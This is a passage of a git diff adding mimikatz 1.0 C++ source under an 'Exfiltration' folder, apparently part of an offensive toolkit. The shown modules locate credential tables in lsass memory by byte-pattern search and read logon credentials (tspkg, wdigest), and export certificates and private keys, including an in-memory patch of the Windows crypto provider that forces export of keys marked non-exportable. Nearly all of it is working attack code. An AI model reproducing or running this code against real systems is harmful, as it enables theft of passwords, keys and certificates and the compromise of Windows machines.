mesInfos; + if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) + { + mod_memory::genericPatternSearch(pointeur, L"tspkg", pattern, taille, offset); + *pointeur += pModTSPKG->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll); + } + FreeLibrary(monModule); + } + } + return (pModTSPKG && TSGlobalCredTable); +} + +bool WINAPI mod_mimikatz_sekurlsa_tspkg::getTsPkgLogonData(__in PLUID logId, __in bool justSecurity) +{ + if(searchTSPKGFuncs()) + { + PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL; + BYTE * monBuffP = new BYTE[sizeof(KIWI_TS_CREDENTIAL)], * monBuffC = new BYTE[sizeof(KIWI_TS_PRIMARY_CREDENTIAL)]; + if(PKIWI_TS_CREDENTIAL pLogSession = reinterpret_cast<PKIWI_TS_CREDENTIAL>(mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(TSGlobalCredTable, FIELD_OFFSET(KIWI_TS_CREDENTIAL, LocallyUniqueIdentifier), logId))) + { + if(mod_memory::readMemory(pLogSession, monBuffP, sizeof(KIWI_TS_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS)) + { + pLogSession = reinterpret_cast<PKIWI_TS_CREDENTIAL>(monBuffP); + if(pLogSession->pTsPrimary) + { + if(mod_memory::readMemory(pLogSession->pTsPrimary, monBuffC, sizeof(KIWI_TS_PRIMARY_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS)) + mesCreds = &(reinterpret_cast<PKIWI_TS_PRIMARY_CREDENTIAL>(monBuffC)->credentials); + } + else (*outputStream) << L"n.s. (SuppCred KO) / "; + } + } + mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity, true); + delete [] monBuffC, monBuffP; + } + else (*outputStream) << L"n.a. (tspkg KO)"; + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.h new file mode 100644 index 0000000..35a3b15 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.h @@ -0,0 +1,37 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../mod_mimikatz_sekurlsa.h" + +class mod_mimikatz_sekurlsa_tspkg { + +private: + typedef struct _KIWI_TS_PRIMARY_CREDENTIAL { + PVOID unk0; // lock ? + KIWI_GENERIC_PRIMARY_CREDENTIAL credentials; + } KIWI_TS_PRIMARY_CREDENTIAL, *PKIWI_TS_PRIMARY_CREDENTIAL; + + typedef struct _KIWI_TS_CREDENTIAL { + #ifdef _M_X64 + BYTE unk0[108]; + #elif defined _M_IX86 + BYTE unk0[64]; + #endif + LUID LocallyUniqueIdentifier; + PVOID unk1; + PVOID unk2; + PKIWI_TS_PRIMARY_CREDENTIAL pTsPrimary; + } KIWI_TS_CREDENTIAL, *PKIWI_TS_CREDENTIAL; + + static PRTL_AVL_TABLE TSGlobalCredTable; + static bool searchTSPKGFuncs(); + +public: + static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModTSPKG; + static bool getTsPkg(vector<wstring> * arguments); + static bool WINAPI getTsPkgLogonData(__in PLUID logId, __in bool justSecurity); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.cpp new file mode 100644 index 0000000..b6e3062 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.cpp @@ -0,0 +1,91 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "wdigest.h" +#include "..\..\global.h" +mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_wdigest::pModWDIGEST = NULL; +mod_mimikatz_sekurlsa_wdigest::PKIWI_WDIGEST_LIST_ENTRY mod_mimikatz_sekurlsa_wdigest::l_LogSessList = NULL; +long mod_mimikatz_sekurlsa_wdigest::offsetWDigestPrimary = 0; + +bool mod_mimikatz_sekurlsa_wdigest::getWDigest(vector<wstring> * arguments) +{ + vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider; + monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getWDigestLogonData, wstring(L"wdigest"))); + return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); +} + +bool mod_mimikatz_sekurlsa_wdigest::searchWDigestEntryList() +{ +#ifdef _M_X64 + BYTE PTRN_WNO8_InsertInLogSess[]= {0x4c, 0x89, 0x1b, 0x48, 0x89, 0x43, 0x08, 0x49, 0x89, 0x5b, 0x08, 0x48, 0x8d}; + BYTE PTRN_W8CP_InsertInLogSess[]= {0x4c, 0x89, 0x1b, 0x48, 0x89, 0x4b, 0x08, 0x49, 0x8b, 0x43, 0x08, 0x4c, 0x39}; + BYTE PTRN_W8RP_InsertInLogSess[]= {0x4c, 0x89, 0x1b, 0x48, 0x89, 0x43, 0x08, 0x49, 0x39, 0x43, 0x08, 0x0f, 0x85}; +#elif defined _M_IX86 + BYTE PTRN_WNO8_InsertInLogSess[]= {0x8b, 0x45, 0x08, 0x89, 0x08, 0xc7, 0x40, 0x04}; + BYTE PTRN_W8CP_InsertInLogSess[]= {0x89, 0x0e, 0x89, 0x56, 0x04, 0x8b, 0x41, 0x04}; + BYTE PTRN_W8RP_InsertInLogSess[]= {0x89, 0x06, 0x89, 0x4e, 0x04, 0x39, 0x48, 0x04}; +#endif + LONG OFFS_WALL_InsertInLogSess = -4; + + if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModWDIGEST && !l_LogSessList) + { + PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0; + + pointeur= reinterpret_cast<PBYTE *>(&l_LogSessList); + offset = OFFS_WALL_InsertInLogSess; + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + { + pattern = PTRN_WNO8_InsertInLogSess; + taille = sizeof(PTRN_WNO8_InsertInLogSess); + } + else if(mod_system::GLOB_Version.dwBuildNumber < 8400) + { + pattern = PTRN_W8CP_InsertInLogSess; + taille = sizeof(PTRN_W8CP_InsertInLogSess); + } + else + { + pattern = PTRN_W8RP_InsertInLogSess; + taille = sizeof(PTRN_W8RP_InsertInLogSess); + } + + if(HMODULE monModule = LoadLibrary(L"wdigest")) + { + MODULEINFO mesInfos; + if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) + { + mod_memory::genericPatternSearch(pointeur, L"wdigest", pattern, taille, offset, "SpInstanceInit", false); + *pointeur += pModWDIGEST->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll); + } + FreeLibrary(monModule); + } + +#ifdef _M_X64 + offsetWDigestPrimary = ((mod_system::GLOB_Version.dwMajorVersion < 6) ? ((mod_system::GLOB_Version.dwMinorVersion < 2) ? 36 : 48) : 48); +#elif defined _M_IX86 + offsetWDigestPrimary = ((mod_system::GLOB_Version.dwMajorVersion < 6) ? ((mod_system::GLOB_Version.dwMinorVersion < 2) ? 36 : 28) : 32); +#endif + } + return (pModWDIGEST && l_LogSessList); +} + +bool WINAPI mod_mimikatz_sekurlsa_wdigest::getWDigestLogonData(__in PLUID logId, __in bool justSecurity) +{ + if(searchWDigestEntryList()) + { + PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL; + DWORD taille = offsetWDigestPrimary + sizeof(KIWI_GENERIC_PRIMARY_CREDENTIAL); + BYTE * monBuff = new BYTE[taille]; + if(PLIST_ENTRY pLogSession = mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast<PLIST_ENTRY>(l_LogSessList), FIELD_OFFSET(KIWI_WDIGEST_LIST_ENTRY, LocallyUniqueIdentifier), logId)) + if( mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS)) + mesCreds = reinterpret_cast<PKIWI_GENERIC_PRIMARY_CREDENTIAL>(reinterpret_cast<PBYTE>(monBuff) + offsetWDigestPrimary); + mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity); + delete [] monBuff; + } + else (*outputStream) << L"n.a. (wdigest KO)"; + + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.h new file mode 100644 index 0000000..9db3c8b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.h @@ -0,0 +1,29 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../mod_mimikatz_sekurlsa.h" + +class mod_mimikatz_sekurlsa_wdigest { + +private: + typedef struct _KIWI_WDIGEST_LIST_ENTRY { + struct _KIWI_WDIGEST_LIST_ENTRY *Flink; + struct _KIWI_WDIGEST_LIST_ENTRY *Blink; + DWORD UsageCount; + struct _KIWI_WDIGEST_LIST_ENTRY *This; + LUID LocallyUniqueIdentifier; + } KIWI_WDIGEST_LIST_ENTRY, *PKIWI_WDIGEST_LIST_ENTRY; + + static PKIWI_WDIGEST_LIST_ENTRY l_LogSessList; + static long offsetWDigestPrimary; + static bool searchWDigestEntryList(); + +public: + static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModWDIGEST; + static bool getWDigest(vector<wstring> * arguments); + static bool WINAPI getWDigestLogonData(__in PLUID logId, __in bool justSecurity); +};
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.cpp new file mode 100644 index 0000000..a869cd8 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.cpp @@ -0,0 +1,594 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_crypto.h" +#include "..\global.h" + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_crypto::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listProviders, L"listProviders", L"Liste les providers installés)")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listStores, L"listStores", L"Liste les magasins systčme")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listCertificates, L"listCertificates", L"Liste les certificats")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listKeys, L"listKeys", L"Liste les conteneurs de clés")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(exportCertificates, L"exportCertificates", L"Exporte les certificats")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(exportKeys, L"exportKeys", L"Exporte les clés")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(patchcng, L"patchcng", L"[experimental] Patch le gestionnaire de clés pour l\'export de clés non exportable")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(patchcapi, L"patchcapi", L"[experimental] Patch la CryptoAPI courante pour l\'export de clés non exportable")); + return monVector; +} + +bool mod_mimikatz_crypto::listProviders(vector<wstring> * arguments) +{ + vector<wstring> * monVectorProviders = new vector<wstring>(); + /* CryptoAPI */ + (*outputStream) << L"Providers CryptoAPI :" << endl; + if(mod_cryptoapi::getVectorProviders(monVectorProviders)) + for(vector<wstring>::iterator monProvider = monVectorProviders->begin(); monProvider != monVectorProviders->end(); monProvider++) + (*outputStream) << L'\t' << *monProvider << endl; + else (*outputStream) << L"mod_cryptoapi::getVectorProviders : " << mod_system::getWinError() << endl; + + /* CryptoNG */ + if(mod_cryptong::isNcrypt) + { + (*outputStream) << endl; + monVectorProviders->clear(); + + (*outputStream) << L"Providers CNG :" << endl; + if(mod_cryptong::getVectorProviders(monVectorProviders)) + for(vector<wstring>::iterator monProvider = monVectorProviders->begin(); monProvider != monVectorProviders->end(); monProvider++) + (*outputStream) << L'\t' << *monProvider << endl; + else (*outputStream) << L"mod_cryptong::getVectorProviders : " << mod_system::getWinError() << endl; + } + delete monVectorProviders; + return true; +} + +bool mod_mimikatz_crypto::listKeys(vector<wstring> * arguments) +{ + listAndOrExportKeys(arguments, false); + return true; +} + +bool mod_mimikatz_crypto::exportKeys(vector<wstring> * arguments) +{ + listAndOrExportKeys(arguments, true); + return true; +} + +bool mod_mimikatz_crypto::listStores(vector<wstring> * arguments) +{ + wstring monEmplacement = (arguments->empty() ? L"CERT_SYSTEM_STORE_CURRENT_USER" : arguments->front()); + + (*outputStream) << L"Emplacement : \'" << monEmplacement << L'\''; + + DWORD systemStore; + if(mod_crypto::getSystemStoreFromString(monEmplacement, &systemStore)) + { + (*outputStream) << endl; + vector<wstring> * mesStores = new vector<wstring>(); + if(mod_crypto::getVectorSystemStores(mesStores, systemStore)) + for(vector<wstring>::iterator monStore = mesStores->begin(); monStore != mesStores->end(); monStore++) + (*outputStream) << L'\t' << *monStore << endl; + else (*outputStream) << L"mod_crypto::getListSystemStores : " << mod_system::getWinError() << endl; + delete mesStores; + } + else (*outputStream) << L" introuvable !" << endl; + return true; +} + +bool mod_mimikatz_crypto::listCertificates(vector<wstring> * arguments) +{ + listAndOrExportCertificates(arguments, false); + return true; +} + +bool mod_mimikatz_crypto::exportCertificates(vector<wstring> * arguments) +{ + listAndOrExportCertificates(arguments, true); + return true; +} + +void mod_mimikatz_crypto::listAndOrExportKeys(vector<wstring> * arguments, bool exportKeys) +{ + bool isMachine = false; + DWORD providerType = PROV_RSA_FULL; + wstring provider = MS_ENHANCED_PROV; + + switch (arguments->size()) + { + case 1: + isMachine = true; + case 0: + break; + case 3: + isMachine = true; + arguments->erase(arguments->begin()); + case 2: + mod_cryptoapi::getProviderString(arguments->front(), &provider); + mod_cryptoapi::getProviderTypeFromString(arguments->back(), &providerType); + break; + default : + (*outputStream) << L"Erreur d\'arguments, attendu : [machine] [provider providerType]" << endl; + return; + } + + + wstring type = (isMachine ? L"machine" : L"user"); + + vector<wstring> * monVectorKeys = new vector<wstring>(); + + /* CryptoAPI */ + (*outputStream) << L"[" << type << L"] Clés CryptoAPI :" << endl; + if(mod_cryptoapi::getVectorContainers(monVectorKeys, isMachine)) + { + DWORD i; + vector<wstring>::iterator monContainer; + for(i = 0, monContainer = monVectorKeys->begin(); monContainer != monVectorKeys->end(); monContainer++, i++) + { + (*outputStream) << L"\t - " << *monContainer << endl; + + HCRYPTPROV hCryptKeyProv = NULL; + if(CryptAcquireContext(&hCryptKeyProv, monContainer->c_str(), provider.c_str(), providerType, NULL | (isMachine ? CRYPT_MACHINE_KEYSET : NULL))) + { + HCRYPTKEY maCle = NULL; + for(DWORD ks = AT_KEYEXCHANGE; (ks <= AT_SIGNATURE) && !maCle; ks++) + { + if(CryptGetUserKey(hCryptKeyProv, ks, &maCle)) + { + (*outputStream) << L"\t\tType : " << mod_crypto::KeyTypeToString(ks) << endl; + DWORD param = 0, taille = sizeof(param); + if(CryptGetKeyParam(maCle, KP_PERMISSIONS, reinterpret_cast<BYTE *>(¶m), &taille, NULL)) + (*outputStream) << L"\t\tExportabilité : " << (param & CRYPT_EXPORT ? L"OUI" : L"NON") << endl; + if(CryptGetKeyParam(maCle, KP_KEYLEN, reinterpret_cast<BYTE *>(¶m), &taille, NULL)) + (*outputStream) << L"\t\tTaille clé : " << param << endl; + + if(exportKeys) + { + bool reussite = false; + BYTE * monExport = NULL; + DWORD tailleExport = 0; + + wstringstream monBuff; + wstring containerName = *monContainer; + sanitizeFileName(&containerName); + + monBuff << L"capi_" << type << L'_' << i << L'_' << containerName << L".pvk"; + + if(mod_cryptoapi::getPrivateKey(maCle, &monExport, &tailleExport)) + { + reussite = mod_crypto::PrivateKeyBlobToPVK(monExport, tailleExport, monBuff.str(), ks); + delete[] monExport; + } + + (*outputStream) << L"\t\tExport privé dans \'" << monBuff.str() << L"\' : " << (reussite ? L"OK" : L"KO") << endl; + if(!reussite) + { + (*outputStream) << L"\t\t\tmod_cryptoapi::getPrivateKey/PrivateKeyBlobToPVK : " << mod_system::getWinError() << endl; + } + } + } + } + + if(maCle) + CryptDestroyKey(maCle); + else + (*outputStream) << L"\t\t* Erreur de clé ; " << mod_system::getWinError() << endl; + + + CryptReleaseContext(hCryptKeyProv, 0); + } + else (*outputStream) << L"\t\t* Erreur d\'acquisition de la clé ; " << mod_system::getWinError() << endl; + } + } + else (*outputStream) << L"mod_cryptoapi::getVectorContainers : " << mod_system::getWinError() << endl; + + /* CryptoNG */ + if(mod_cryptong::isNcrypt) + { + (*outputStream) << endl; + monVectorKeys->clear(); + + (*outputStream) << L"[" << type << L"] Clés CNG :" << endl; + if(mod_cryptong::getVectorContainers(monVectorKeys, isMachine)) + { + DWORD i; + vector<wstring>::iterator monContainer; + for(i = 0, monContainer = monVectorKeys->begin(); monContainer != monVectorKeys->end(); monContainer++, i++) + { + (*outputStream) << L"\t - " << *monContainer << endl; + + NCRYPT_KEY_HANDLE maCle; + if(mod_cryptong::getHKeyFromName(*monContainer, &maCle, isMachine)) + { + bool exportable = false; + DWORD size = 0; + + if(mod_cryptong::isKeyExportable(&maCle, &exportable)) + (*outputStream) << L"\t\tExportabilité : " << (exportable ? L"OUI" : L"NON") << endl; + if(mod_cryptong::getKeySize(&maCle, &size)) + (*outputStream) << L"\t\tTaille clé : " << size << endl; + + if(exportKeys) + { + bool reussite = false; + BYTE * monExport = NULL; + DWORD tailleExport = 0; + + wstringstream monBuff; + monBuff << L"cng_" << type << L'_' << i << L'_' << *monContainer << L".pvk"; + + if(mod_cryptong::getPrivateKey(maCle, &monExport, &tailleExport)) + { + reussite = mod_crypto::PrivateKeyBlobToPVK(monExport, tailleExport, monBuff.str()); + delete[] monExport; + } + + (*outputStream) << L"\t\tExport privé dans \'" << monBuff.str() << L"\' : " << (reussite ? L"OK" : L"KO") << endl; + if(!reussite) + { + (*outputStream) << L"\t\t\tmod_cryptong::getPrivateKey/PrivateKeyBlobToPVK : " << mod_system::getWinError() << endl; + } + } + mod_cryptong::NCryptFreeObject(maCle); + } + } + } + else (*outputStream) << L"mod_cryptong::getVectorContainers : " << mod_system::getWinError() << endl; + } + + delete monVectorKeys; +} + + +void mod_mimikatz_crypto::listAndOrExportCertificates(vector<wstring> * arguments, bool exportCert) +{ + wstring monEmplacement = L"CERT_SYSTEM_STORE_CURRENT_USER"; + wstring monStore = L"My"; + + if(arguments->size() == 1) + { + monEmplacement = arguments->front(); + } + else if(arguments->size() == 2) + { + monEmplacement = arguments->front(); + monStore = arguments->back(); + } + + (*outputStream) << L"Emplacement : \'" << monEmplacement << L'\''; + + DWORD systemStore; + if(mod_crypto::getSystemStoreFromString(monEmplacement, &systemStore)) + { + (*outputStream) << L"\\" << monStore << endl; + if(HCERTSTORE hCertificateStore = CertOpenStore(CERT_STORE_PROV_SYSTEM, NULL, NULL, systemStore | CERT_STORE_OPEN_EXISTING_FLAG | CERT_STORE_READONLY_FLAG, monStore.c_str())) + { + DWORD i; + PCCERT_CONTEXT pCertContext; + for (i = 0, pCertContext = CertEnumCertificatesInStore(hCertificateStore, NULL); pCertContext != NULL; pCertContext = CertEnumCertificatesInStore(hCertificateStore, pCertContext), i++) + { + wstring * certName = new wstring(); + bool reussite = false; + + if(!mod_crypto::getCertNameFromCertCTX(pCertContext, certName)) + certName->assign(L"[empty]"); + + (*outputStream) << L"\t - " << *certName << endl;; + sanitizeFileName(certName); + + wstringstream monBuff; + monBuff << monEmplacement << L'_' << monStore << L'_' << i << L'_' << *certName << L'.'; + + mod_crypto::KIWI_KEY_PROV_INFO keyProvInfo; + if(mod_crypto::getKiwiKeyProvInfo(pCertContext, &keyProvInfo)) + { + (*outputStream) << L"\t\tContainer Clé : " << keyProvInfo.pwszContainerName << endl; + (*outputStream) << L"\t\tProvider : " << keyProvInfo.pwszProvName << endl; + + HCRYPTPROV_OR_NCRYPT_KEY_HANDLE monProv = NULL; + DWORD keySpec = 0; + BOOL aFermer = false; + + if(CryptAcquireCertificatePrivateKey(pCertContext, CRYPT_ACQUIRE_ALLOW_NCRYPT_KEY_FLAG /* CRYPT_ACQUIRE_SILENT_FLAG NULL */, NULL, &monProv, &keySpec, &aFermer)) + { + (*outputStream) << L"\t\tType : " << mod_crypto::KeyTypeToString(keySpec) << endl; + + DWORD size = 0; + bool exportable = false; + + if(keySpec == CERT_NCRYPT_KEY_SPEC) + { + if(mod_cryptong::isNcrypt) + { + reussite = mod_cryptong::getKeySize(&monProv, &size); + reussite &=mod_cryptong::isKeyExportable(&monProv, &exportable); + + if(aFermer) + { + mod_cryptong::NCryptFreeObject(monProv); + } + } + else (*outputStream) << L"\t\t\tErreur : Clé de type nCrypt, sans nCrypt ?" << endl; + } + else + { + DWORD tailleEcrite = 0; + DWORD exportability; + + HCRYPTKEY maCle = NULL; + if(reussite = (CryptGetUserKey(monProv, keySpec, &maCle) != 0)) + { + tailleEcrite = sizeof(DWORD); + reussite = (CryptGetKeyParam(maCle, KP_KEYLEN, reinterpret_cast<BYTE *>(&size), &tailleEcrite, NULL) != 0); + tailleEcrite = sizeof(DWORD); + reussite &= (CryptGetKeyParam(maCle, KP_PERMISSIONS, reinterpret_cast<BYTE *>(&exportability), &tailleEcrite, NULL) != 0); + exportable = (exportability & CRYPT_EXPORT) != 0; + } + + if(aFermer) + { + CryptReleaseContext(monProv, 0); + } + } + if(reussite) + { + (*outputStream) << L"\t\tExportabilité : " << (exportable ? L"OUI" : L"NON") << endl; + (*outputStream) << L"\t\tTaille clé : " << size << endl; + } + + if(exportCert) + { + wstring PFXFile = monBuff.str(); + PFXFile.append(L"pfx"); + + reussite = mod_crypto::CertCTXtoPFX(pCertContext, PFXFile, L"mimikatz"); + + (*outputStream) << L"\t\tExport privé dans \'" << PFXFile << L"\' : " << (reussite ? L"OK" : L"KO") << endl; + if(!reussite) + { + (*outputStream) << L"\t\t\t" << mod_system::getWinError() << endl; + } + } + } + else (*outputStream) << L"CryptAcquireCertificatePrivateKey : " << mod_system::getWinError() << endl; + } + + if(exportCert) + { + wstring DERFile = monBuff.str(); + DERFile.append(L"der"); + + reussite = mod_crypto::CertCTXtoDER(pCertContext, DERFile); + + (*outputStream) << L"\t\tExport public dans \'" << DERFile << L"\' : " << (reussite ? L"OK" : L"KO") << endl; + if(!reussite) + { + (*outputStream) << L"\t\t\t" << mod_system::getWinError() << endl; + } + } + delete certName; + } + CertCloseStore(hCertificateStore, CERT_CLOSE_STORE_FORCE_FLAG); + } + else (*outputStream) << L"CertOpenStore : " << mod_system::getWinError() << endl; + } + else (*outputStream) << L" introuvable !" << endl; +} + + +bool mod_mimikatz_crypto::patchcapi(vector<wstring> * arguments) +{ + wchar_t LIBNAME_WALL_RSA[] = L"rsaenh.dll"; + char FUNCNAM_WALL_EXPORT[] = "CPExportKey"; +#ifdef _M_X64 + BYTE PTRN_WIN5_CPExportKey_4001[] = {0x0c, 0x01, 0x40, 0x00, 0x00, 0x75}; + BYTE PTRN_WIN5_CPExportKey_4000[] = {0x0c, 0x0e, 0x72}; + BYTE PATC_WIN5_CPExportKey_EXPORT[] = {0xeb}; + LONG OFFS_WIN5_CPExportKey_4001_EXPORT = -4; + LONG OFFS_WIN5_CPExportKey_4000_EXPORT = -5; + + BYTE PTRN_W6AL_CPExportKey_4001[] = {0x0c, 0x01, 0x40, 0x00, 0x00, 0x0f, 0x85}; + BYTE PTRN_WIN6_CPExportKey_4000[] = {0x0c, 0x0e, 0x0f, 0x82}; + BYTE PTRN_WIN8_CPExportKey_4000[] = {0x0c, 0x00, 0x40, 0x00, 0x00, 0x0f, 0x85}; + BYTE PATC_W6AL_CPExportKey_EXPORT[] = {0x90, 0xe9}; + LONG OFFS_W6AL_CPExportKey_EXPORT = 5; + LONG OFFS_WIN6_CPExportKey_4000_EXPORT = 2; +#elif defined _M_IX86 + BYTE PTRN_WIN5_CPExportKey_4001[] = {0x08, 0x01, 0x40, 0x75}; + BYTE PTRN_WIN5_CPExportKey_4000[] = {0x09, 0x40, 0x0f, 0x84}; + BYTE PATC_WIN5_CPExportKey_EXPORT[] = {0xeb}; + LONG OFFS_WIN5_CPExportKey_4001_EXPORT = -5; + LONG OFFS_WIN5_CPExportKey_4000_EXPORT = -7; + + BYTE PTRN_WI60_CPExportKey_4001[] = {0x08, 0x01, 0x40, 0x0f, 0x85}; + BYTE PTRN_WIN6_CPExportKey_4001[] = {0x08, 0x01, 0x40, 0x00, 0x00, 0x0f, 0x85}; + BYTE PTRN_WI60_CPExportKey_4000[] = {0x08, 0x00, 0x40, 0x0f, 0x85}; + BYTE PTRN_WIN6_CPExportKey_4000[] = {0x08, 0x00, 0x40, 0x00, 0x00, 0x0f, 0x85}; + BYTE PATC_W6AL_CPExportKey_EXPORT[] = {0x90, 0xe9}; + LONG OFFS_WI60_CPExportKey_EXPORT = 3; + LONG OFFS_WIN6_CPExportKey_EXPORT = 5; +#endif + + PBYTE ptr4001 = NULL; PBYTE pattern4001 = NULL; ULONG taillePattern4001 = 0; PBYTE patch4001 = NULL; ULONG taillePatch4001 = 0; LONG offsetPatch4001 = 0; + PBYTE ptr4000 = NULL; PBYTE pattern4000 = NULL; ULONG taillePattern4000 = 0; PBYTE patch4000 = NULL; ULONG taillePatch4000 = 0; LONG offsetPatch4000 = 0; + + if(mod_system::GLOB_Version.dwMajorVersion < 6) + { + pattern4001 = PTRN_WIN5_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_WIN5_CPExportKey_4001); + pattern4000 = PTRN_WIN5_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN5_CPExportKey_4000); + patch4001 = patch4000 = PATC_WIN5_CPExportKey_EXPORT; taillePatch4001 = taillePatch4000 = sizeof(PATC_WIN5_CPExportKey_EXPORT); + offsetPatch4001 = OFFS_WIN5_CPExportKey_4001_EXPORT; + offsetPatch4000 = OFFS_WIN5_CPExportKey_4000_EXPORT; + } + else + { +#ifdef _M_X64 + pattern4001 = PTRN_W6AL_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_W6AL_CPExportKey_4001); + patch4001 = patch4000 = PATC_W6AL_CPExportKey_EXPORT; taillePatch4001 = taillePatch4000 = sizeof(PATC_W6AL_CPExportKey_EXPORT); + offsetPatch4001 = OFFS_W6AL_CPExportKey_EXPORT; + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + { + pattern4000 = PTRN_WIN6_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN6_CPExportKey_4000); + offsetPatch4000 = OFFS_WIN6_CPExportKey_4000_EXPORT; + } + else + { + pattern4000 = PTRN_WIN8_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN8_CPExportKey_4000); + offsetPatch4000 = OFFS_W6AL_CPExportKey_EXPORT; + } +#elif defined _M_IX86 + patch4001 = patch4000 = PATC_W6AL_CPExportKey_EXPORT; taillePatch4001 = taillePatch4000 = sizeof(PATC_W6AL_CPExportKey_EXPORT); + if(mod_system::GLOB_Version.dwMinorVersion < 1) + { + pattern4001 = PTRN_WI60_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_WI60_CPExportKey_4001); + pattern4000 = PTRN_WI60_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WI60_CPExportKey_4000); + offsetPatch4001 = offsetPatch4000 = OFFS_WI60_CPExportKey_EXPORT; + } + else + { + pattern4001 = PTRN_WIN6_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_WIN6_CPExportKey_4001); + pattern4000 = PTRN_WIN6_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN6_CPExportKey_4000); + offsetPatch4001 = offsetPatch4000 = OFFS_WIN6_CPExportKey_EXPORT; + } +#endif + } + + if(HMODULE hRSA = LoadLibrary(LIBNAME_WALL_RSA)) + { + if( mod_memory::genericPatternSearch(&ptr4001, LIBNAME_WALL_RSA, pattern4001, taillePattern4001, offsetPatch4001, FUNCNAM_WALL_EXPORT, true, true) && + mod_memory::genericPatternSearch(&ptr4000, LIBNAME_WALL_RSA, pattern4000, taillePattern4000, offsetPatch4000, FUNCNAM_WALL_EXPORT, true, true)) + { + (*outputStream) << L"Patterns CRYPT_EXPORTABLE | CRYPT_ARCHIVABLE et CRYPT_ARCHIVABLE trouvés !" << endl << + L"Patch CRYPT_EXPORTABLE | CRYPT_ARCHIVABLE : " << (mod_memory::writeMemory(ptr4001, patch4001, taillePatch4001) ? L"OK" : L"KO") << endl << + L"Patch CRYPT_ARCHIVABLE : " << (mod_memory::writeMemory(ptr4000, patch4000, taillePatch4000) ? L"OK" : L"KO") << endl; + } + FreeLibrary(hRSA); + } + return true; +} + +bool mod_mimikatz_crypto::patchcng(vector<wstring> * arguments) +{ + wchar_t LIBNAME_WNO8_NCrypt[] = L"ncrypt.dll"; + wchar_t LIBNAME_WIN8_NCrypt[] = 